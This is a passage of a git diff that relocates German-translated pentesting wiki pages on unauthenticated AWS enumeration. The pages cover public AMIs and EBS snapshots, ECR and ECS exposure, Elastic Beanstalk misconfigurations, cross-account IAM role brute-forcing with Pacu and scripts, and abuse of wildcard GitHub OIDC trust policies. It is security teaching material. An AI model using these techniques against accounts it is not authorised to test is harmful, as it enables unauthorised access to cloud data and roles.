-Wenn Sie einen Snapshot finden, der von jedem wiederhergestellt werden kann, stellen Sie sicher, dass Sie [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) auf Anweisungen zum Herunterladen und Ausplündern des Snapshots überprüfen.
-
-#### Öffentliches URL-Template
-```bash
-# EC2
-ec2-{ip-seperated}.compute-1.amazonaws.com
-# ELB
-http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
-https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
-```
-### EC2-Instanzen mit öffentlicher IP auflisten
-```bash
-aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
new file mode 100644
index 000000000..555727308
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
@@ -0,0 +1,54 @@
+# AWS - EC2 Nicht authentifizierte Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2 & zugehörige Dienste
+
+Weitere Informationen dazu auf dieser Seite:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Öffentliche Ports
+
+Es ist möglich, **jeden Port der virtuellen Maschinen dem Internet zugänglich zu machen**. Je nachdem, **was auf dem exponierten Port läuft**, könnte ein Angreifer ihn ausnutzen.
+
+#### SSRF
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+### Öffentliche AMIs & EBS Snapshots
+
+AWS erlaubt, **jedem den Zugriff zum Herunterladen von AMIs und Snapshots zu gewähren**. Du kannst diese Ressourcen sehr einfach von deinem eigenen Account auflisten:
+```bash
+# Public AMIs
+aws ec2 describe-images --executable-users all
+
+## Search AMI by ownerID
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
+
+## Search AMI by substr ("shared" in the example)
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
+
+# Public EBS snapshots (hard-drive copies)
+aws ec2 describe-snapshots --restorable-by-user-ids all
+aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
+```
+Wenn du einen Snapshot findest, der von jedem wiederhergestellt werden kann, sieh dir unbedingt [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) für Anweisungen zum Herunterladen und Ausplündern des Snapshots an.
+
+#### Öffentliche URL-Vorlage
+```bash
+# EC2
+ec2-{ip-seperated}.compute-1.amazonaws.com
+# ELB
+http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
+https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
+```
+### EC2-Instanzen mit public IP auflisten
+```bash
+aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
deleted file mode 100644
index 3516f6a90..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - ECR Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Öffentliche Registrierungsrepositories (Bilder)
-
-Wie im Abschnitt ECS Enum erwähnt, ist ein öffentliches Repository **für jeden zugänglich** und verwendet das Format **`public.ecr.aws/<random>/<name>`**. Wenn ein Angreifer eine URL zu einem öffentlichen Repository findet, könnte er **das Bild herunterladen und nach sensiblen Informationen** in den Metadaten und dem Inhalt des Bildes suchen.
-```bash
-aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
-```
-> [!WARNING]
-> Dies könnte auch in **privaten Registrierungen** passieren, wo eine Registrierungsrichtlinie oder eine Repository-Richtlinie **Zugriff gewährt, zum Beispiel auf `"AWS": "*"`**. Jeder mit einem AWS-Konto könnte auf dieses Repo zugreifen.
-
-### Private Repo auflisten
-
-Die Tools [**skopeo**](https://github.com/containers/skopeo) und [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) können verwendet werden, um zugängliche Repositories innerhalb einer privaten Registrierungsstelle aufzulisten.
-```bash
-# Get image names
-skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
-crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
new file mode 100644
index 000000000..aa43b7ada
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
@@ -0,0 +1,30 @@
+# AWS - ECR Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Öffentliche Registry-Repositories (images)
+
+Wie im ECS Enum-Abschnitt erwähnt, ist ein öffentliches Registry **für jeden zugänglich** und verwendet das Format **`public.ecr.aws/<random>/<name>`**. Wenn ein Angreifer eine öffentliche Repository-URL findet, könnte er **das Image herunterladen und in den Metadaten und im Inhalt des Images nach sensiblen Informationen suchen**.
+```bash
+aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
+```
+> [!WARNING]
+> Dies kann auch in **privaten Registries** passieren, wenn eine Registry-Policy oder eine Repository-Policy beispielsweise **Zugriff für `"AWS": "*"`** gewährt. Jeder mit einem AWS-Konto könnte auf dieses Repo zugreifen.
+ 
+### Private Repo auflisten
+
+Die Tools [**skopeo**](https://github.com/containers/skopeo) und [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) können verwendet werden, um zugängliche Repositories innerhalb einer privaten Registry aufzulisten.
+```bash
+# Get image names
+skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
+crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
index 3683735f2..70770b20b 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
@@ -1,18 +1,18 @@
 # AWS - ECS Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## ECS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-ecs-enum.md
+../../aws-services/aws-ecs-enum.md
 {{#endref}}
 
-### Öffentlich zugängliche Sicherheitsgruppe oder Lastenausgleich für ECS-Dienste
+### Öffentlich zugängliche Security Group oder Load Balancer für ECS Services
 
-Eine falsch konfigurierte Sicherheitsgruppe, die **eingehenden Verkehr aus dem Internet (0.0.0.0/0 oder ::/0)** zu den Amazon ECS-Diensten erlaubt, könnte die AWS-Ressourcen Angriffen aussetzen.
+Eine fehlkonfigurierte Security Group, die **eingehenden Traffic aus dem Internet (0.0.0.0/0 oder ::/0)** zu den Amazon ECS Services zulässt, kann die AWS-Ressourcen Angriffen aussetzen.
 ```bash
 # Example of detecting misconfigured security group for ECS services
 aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
@@ -20,4 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain
 # Example of detecting a publicly accessible load balancer for ECS services
 aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index e4c0d60ea..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### Webanfälligkeit
-
-Beachten Sie, dass standardmäßig Beanstalk-Umgebungen **Metadatav1 deaktiviert** haben.
-
-Das Format der Beanstalk-Webseiten ist **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
-
-### Unsichere Sicherheitsgruppenregeln
-
-Fehlkonfigurierte Sicherheitsgruppenregeln können Elastic Beanstalk-Instanzen der Öffentlichkeit aussetzen. **Zu großzügige Eingangsregeln, wie das Zulassen von Verkehr von jeder IP-Adresse (0.0.0.0/0) auf sensiblen Ports, können Angreifern den Zugriff auf die Instanz ermöglichen**.
-
-### Öffentlich zugänglicher Lastenausgleich
-
-Wenn eine Elastic Beanstalk-Umgebung einen Lastenausgleich verwendet und dieser so konfiguriert ist, dass er öffentlich zugänglich ist, können Angreifer **Anfragen direkt an den Lastenausgleich senden**. Während dies für Webanwendungen, die öffentlich zugänglich sein sollen, kein Problem darstellen könnte, könnte es für private Anwendungen oder Umgebungen ein Problem sein.
-
-### Öffentlich zugängliche S3-Buckets
-
-Elastic Beanstalk-Anwendungen werden oft in S3-Buckets vor der Bereitstellung gespeichert. Wenn der S3-Bucket, der die Anwendung enthält, öffentlich zugänglich ist, könnte ein Angreifer **den Anwendungscode herunterladen und nach Schwachstellen oder sensiblen Informationen suchen**.
-
-### Öffentliche Umgebungen auflisten
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..42c339c3d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
@@ -0,0 +1,35 @@
+# AWS - Elastic Beanstalk Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Web-Schwachstelle
+
+Beachte, dass Beanstalk-Umgebungen standardmäßig **Metadatav1 deaktiviert** sind.
+
+Das Format der Beanstalk-Webseiten ist **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
+
+### Unsichere Security-Group-Regeln
+
+Fehlkonfigurierte Security-Group-Regeln können Elastic Beanstalk-Instanzen öffentlich zugänglich machen. **Zu großzügige Ingress-Regeln, wie z. B. das Zulassen von Traffic von jeder IP-Adresse (0.0.0.0/0) auf sensiblen Ports, können Angreifern Zugriff auf die Instanz ermöglichen**.
+
+### Öffentlich zugänglicher Load Balancer
+
+Wenn eine Elastic Beanstalk-Umgebung einen Load Balancer verwendet und dieser so konfiguriert ist, dass er öffentlich zugänglich ist, können Angreifer **Anfragen direkt an den Load Balancer senden**. Das ist vielleicht kein Problem für Webanwendungen, die öffentlich zugänglich sein sollen, kann aber für private Anwendungen oder Umgebungen problematisch sein.
+
+### Öffentlich zugängliche S3-Buckets
+
+Elastic Beanstalk-Anwendungen werden häufig vor der Bereitstellung in S3-Buckets gespeichert. Wenn der S3-Bucket, der die Anwendung enthält, öffentlich zugänglich ist, könnte ein Angreifer **den Anwendungscode herunterladen und nach Schwachstellen oder sensiblen Informationen suchen**.
+
+### Öffentliche Umgebungen auflisten
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
similarity index 56%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
index 0d05f2bfc..cae5dc1a5 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - Elasticsearch Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
-### Öffentliches URL-Template
+### Öffentliche URL-Vorlage
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
deleted file mode 100644
index 8240fd900..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ /dev/null
@@ -1,162 +0,0 @@
-# AWS - IAM & STS Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Rollen & Benutzernamen in einem Konto auflisten
-
-### ~~Rolle annehmen Brute-Force~~
-
-> [!CAUTION]
-> **Diese Technik funktioniert nicht** mehr, da Sie, unabhängig davon, ob die Rolle existiert oder nicht, immer diese Fehlermeldung erhalten:
->
-> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
->
-> Sie können **dies testen, indem Sie**:
->
-> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
-
-Der Versuch, **eine Rolle ohne die erforderlichen Berechtigungen anzunehmen**, löst eine AWS-Fehlermeldung aus. Wenn Sie beispielsweise nicht autorisiert sind, könnte AWS zurückgeben:
-```ruby
-An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
-```
-Diese Nachricht bestätigt die Existenz der Rolle, weist jedoch darauf hin, dass ihre Assume-Rolle-Policy Ihre Annahme nicht zulässt. Im Gegensatz dazu führt der Versuch, **eine nicht existierende Rolle anzunehmen, zu einem anderen Fehler**:
-```less
-An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
-```
-Interessanterweise ist diese Methode des **Unterscheidens zwischen bestehenden und nicht bestehenden Rollen** sogar über verschiedene AWS-Konten hinweg anwendbar. Mit einer gültigen AWS-Konto-ID und einer gezielten Wortliste kann man die im Konto vorhandenen Rollen auflisten, ohne auf inhärente Einschränkungen zu stoßen.
-
-Sie können dieses [Skript verwenden, um potenzielle Principals aufzulisten](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), indem Sie dieses Problem ausnutzen.
-
-### Vertrauensrichtlinien: Brute-Force über Konten hinweg Rollen und Benutzer
-
-Die Konfiguration oder Aktualisierung einer **IAM-Rollenvertrauensrichtlinie umfasst die Definition, welche AWS-Ressourcen oder -Dienste berechtigt sind, diese Rolle zu übernehmen** und temporäre Anmeldeinformationen zu erhalten. Wenn die im Richtlinien angegebenen Ressourcen **existieren**, wird die Vertrauensrichtlinie **erfolgreich** gespeichert. Wenn die Ressource **nicht existiert**, wird ein **Fehler generiert**, der anzeigt, dass ein ungültiger Principal angegeben wurde.
-
-> [!WARNING]
-> Beachten Sie, dass Sie in dieser Ressource eine rollen- oder benutzerübergreifende Kontenrolle oder einen Benutzer angeben könnten:
->
-> - `arn:aws:iam::acc_id:role/role_name`
-> - `arn:aws:iam::acc_id:user/user_name`
-
-Dies ist ein Beispiel für eine Richtlinie:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::216825089941:role/Test"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-#### GUI
-
-Das ist der **Fehler**, den Sie finden werden, wenn Sie eine **Rolle verwenden, die nicht existiert**. Wenn die Rolle **existiert**, wird die Richtlinie **ohne Fehler gespeichert**. (Der Fehler tritt beim Aktualisieren auf, funktioniert aber auch beim Erstellen)
-
-![](<../../../images/image (153).png>)
-
-#### CLI
-```bash
-### You could also use: aws iam update-assume-role-policy
-# When it works
-aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
-{
-"Role": {
-"Path": "/",
-"RoleName": "Test-Role",
-"RoleId": "AROA5ZDCUJS3DVEIYOB73",
-"Arn": "arn:aws:iam::947247140022:role/Test-Role",
-"CreateDate": "2022-05-03T20:50:04Z",
-"AssumeRolePolicyDocument": {
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::316584767888:role/account-balance"
-},
-"Action": [
-"sts:AssumeRole"
-]
-}
-]
-}
-}
-}
-
-# When it doesn't work
-aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
-An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
-```
-Sie können diesen Prozess automatisieren mit [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
-
-- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
-
-Unserer Verwendung von [Pacu](https://github.com/RhinoSecurityLabs/pacu):
-
-- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- Die `admin` Rolle, die im Beispiel verwendet wird, ist eine **Rolle in Ihrem Konto, die von pacu impersoniert werden soll**, um die Richtlinien zu erstellen, die es für die Enumeration benötigt.
-
-### Privesc
-
-Im Falle, dass die Rolle schlecht konfiguriert ist und es jedem erlaubt, sie zu übernehmen:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-Der Angreifer könnte einfach davon ausgehen.
-
-## Drittanbieter OIDC-Föderation
-
-Stellen Sie sich vor, Sie schaffen es, einen **Github Actions-Workflow** zu lesen, der auf eine **Rolle** innerhalb von **AWS** zugreift.\
-Dieses Vertrauen könnte den Zugriff auf eine Rolle mit der folgenden **Vertrauensrichtlinie** gewähren:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
-},
-"Action": "sts:AssumeRoleWithWebIdentity",
-"Condition": {
-"StringEquals": {
-"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-}
-}
-}
-]
-}
-```
-Diese Vertrauensrichtlinie könnte korrekt sein, aber der **Mangel an weiteren Bedingungen** sollte dich misstrauisch machen.\
-Das liegt daran, dass die vorherige Rolle von **JEDER Person von Github Actions** übernommen werden kann! Du solltest in den Bedingungen auch andere Dinge wie den Organisationsnamen, den Reponamen, die Umgebung, den Branch... angeben.
-
-Eine weitere potenzielle Fehlkonfiguration besteht darin, eine **Bedingung** wie die folgende hinzuzufügen:
-```json
-"StringLike": {
-"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
-}
-```
-Beachten Sie das **Wildcard** (\*) vor dem **Doppelpunkt** (:). Sie können eine Organisation wie **org_name1** erstellen und die **Rolle** von einer Github-Aktion annehmen.
-
-## Referenzen
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..7c8fdcff5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
@@ -0,0 +1,162 @@
+# AWS - IAM & STS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Enumerate Roles & Usernames in an account
+
+### ~~Assume Role Brute-Force~~
+
+> [!CAUTION]
+> **Diese Technik funktioniert nicht mehr**, da man nun immer folgenden Fehler erhält, unabhängig davon, ob die Rolle existiert oder nicht:
+>
+> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
+>
+> Du kannst das **testen, indem du** folgendes ausführst:
+>
+> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
+
+Der Versuch, eine Rolle **ohne die erforderlichen Berechtigungen anzunehmen**, löst eine AWS-Fehlermeldung aus. Zum Beispiel könnte AWS bei fehlender Berechtigung zurückgeben:
+```ruby
+An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
+```
+Diese Meldung bestätigt die Existenz der Rolle, weist jedoch darauf hin, dass ihre assume role policy Ihre Übernahme nicht erlaubt. Im Gegensatz dazu führt der Versuch, **assume a non-existent role leads to a different error**:
+```less
+An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
+```
+Interessanterweise ist diese Methode, **zwischen existierenden und nicht existierenden Rollen zu unterscheiden**, sogar über verschiedene AWS-Konten anwendbar. Mit einer gültigen AWS account ID und einer gezielten wordlist kann man die im Konto vorhandenen roles auflisten, ohne auf inhärente Einschränkungen zu stoßen.
+
+Sie können dieses [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) verwenden, um dieses Problem auszunutzen.
+
+### Trust Policies: Brute-Force Cross Account roles and users
+
+Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
+
+> [!WARNING]
+> Beachten Sie, dass Sie in dieser Ressource eine cross account role oder user angeben könnten:
+>
+> - `arn:aws:iam::acc_id:role/role_name`
+> - `arn:aws:iam::acc_id:user/user_name`
+
+Das ist ein Policy-Beispiel:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::216825089941:role/Test"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+#### GUI
+
+Das ist der **Fehler**, den du findest, wenn du eine **Rolle verwendest, die nicht existiert**. Wenn die Rolle **existiert**, wird die Policy **ohne Fehler gespeichert**. (Der Fehler tritt beim Aktualisieren auf, funktioniert aber auch beim Erstellen)
+
+![](<../../../images/image (153).png>)
+
+#### CLI
+```bash
+### You could also use: aws iam update-assume-role-policy
+# When it works
+aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
+{
+"Role": {
+"Path": "/",
+"RoleName": "Test-Role",
+"RoleId": "AROA5ZDCUJS3DVEIYOB73",
+"Arn": "arn:aws:iam::947247140022:role/Test-Role",
+"CreateDate": "2022-05-03T20:50:04Z",
+"AssumeRolePolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::316584767888:role/account-balance"
+},
+"Action": [
+"sts:AssumeRole"
+]
+}
+]
+}
+}
+}
+
+# When it doesn't work
+aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
+An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
+```
+Sie können diesen Prozess mit [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) automatisieren
+
+- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
+
+Oder mit [Pacu](https://github.com/RhinoSecurityLabs/pacu):
+
+- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
+- The `admin` role used in the example is a **role in your account to by impersonated** by pacu to create the policies it needs to create for the enumeration
+
+### Privesc
+
+Falls die Rolle falsch konfiguriert war und es jedem erlaubt, sie zu übernehmen:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+Der Angreifer könnte sie einfach übernehmen.
+
+## Third Party OIDC Federation
+
+Angenommen, es gelingt dir, einen **Github Actions workflow** zu lesen, der auf eine **role** in **AWS** zugreift.\
+Dieses Vertrauen könnte Zugriff auf eine **role** mit folgender **trust policy** gewähren:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
+},
+"Action": "sts:AssumeRoleWithWebIdentity",
+"Condition": {
+"StringEquals": {
+"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
+}
+}
+}
+]
+}
+```
+Diese Vertrauensrichtlinie könnte korrekt sein, aber das **Fehlen weiterer Bedingungen** sollte dich misstrauisch machen.\
+Dies liegt daran, dass die vorherige Rolle von **ANYONE from Github Actions** übernommen werden kann! Du solltest in den Bedingungen auch andere Dinge angeben, wie org name, repo name, env, branch...
+
+Eine weitere mögliche Fehlkonfiguration ist, **eine Bedingung hinzuzufügen**, wie die folgende:
+```json
+"StringLike": {
+"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
+}
+```
+Beachte, dass **wildcard** (\*) vor dem **Doppelpunkt** (:) steht. Du kannst eine org erstellen, z. B. **org_name1**, und **assume the role** aus einer Github Action.
+
+## Referenzen
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
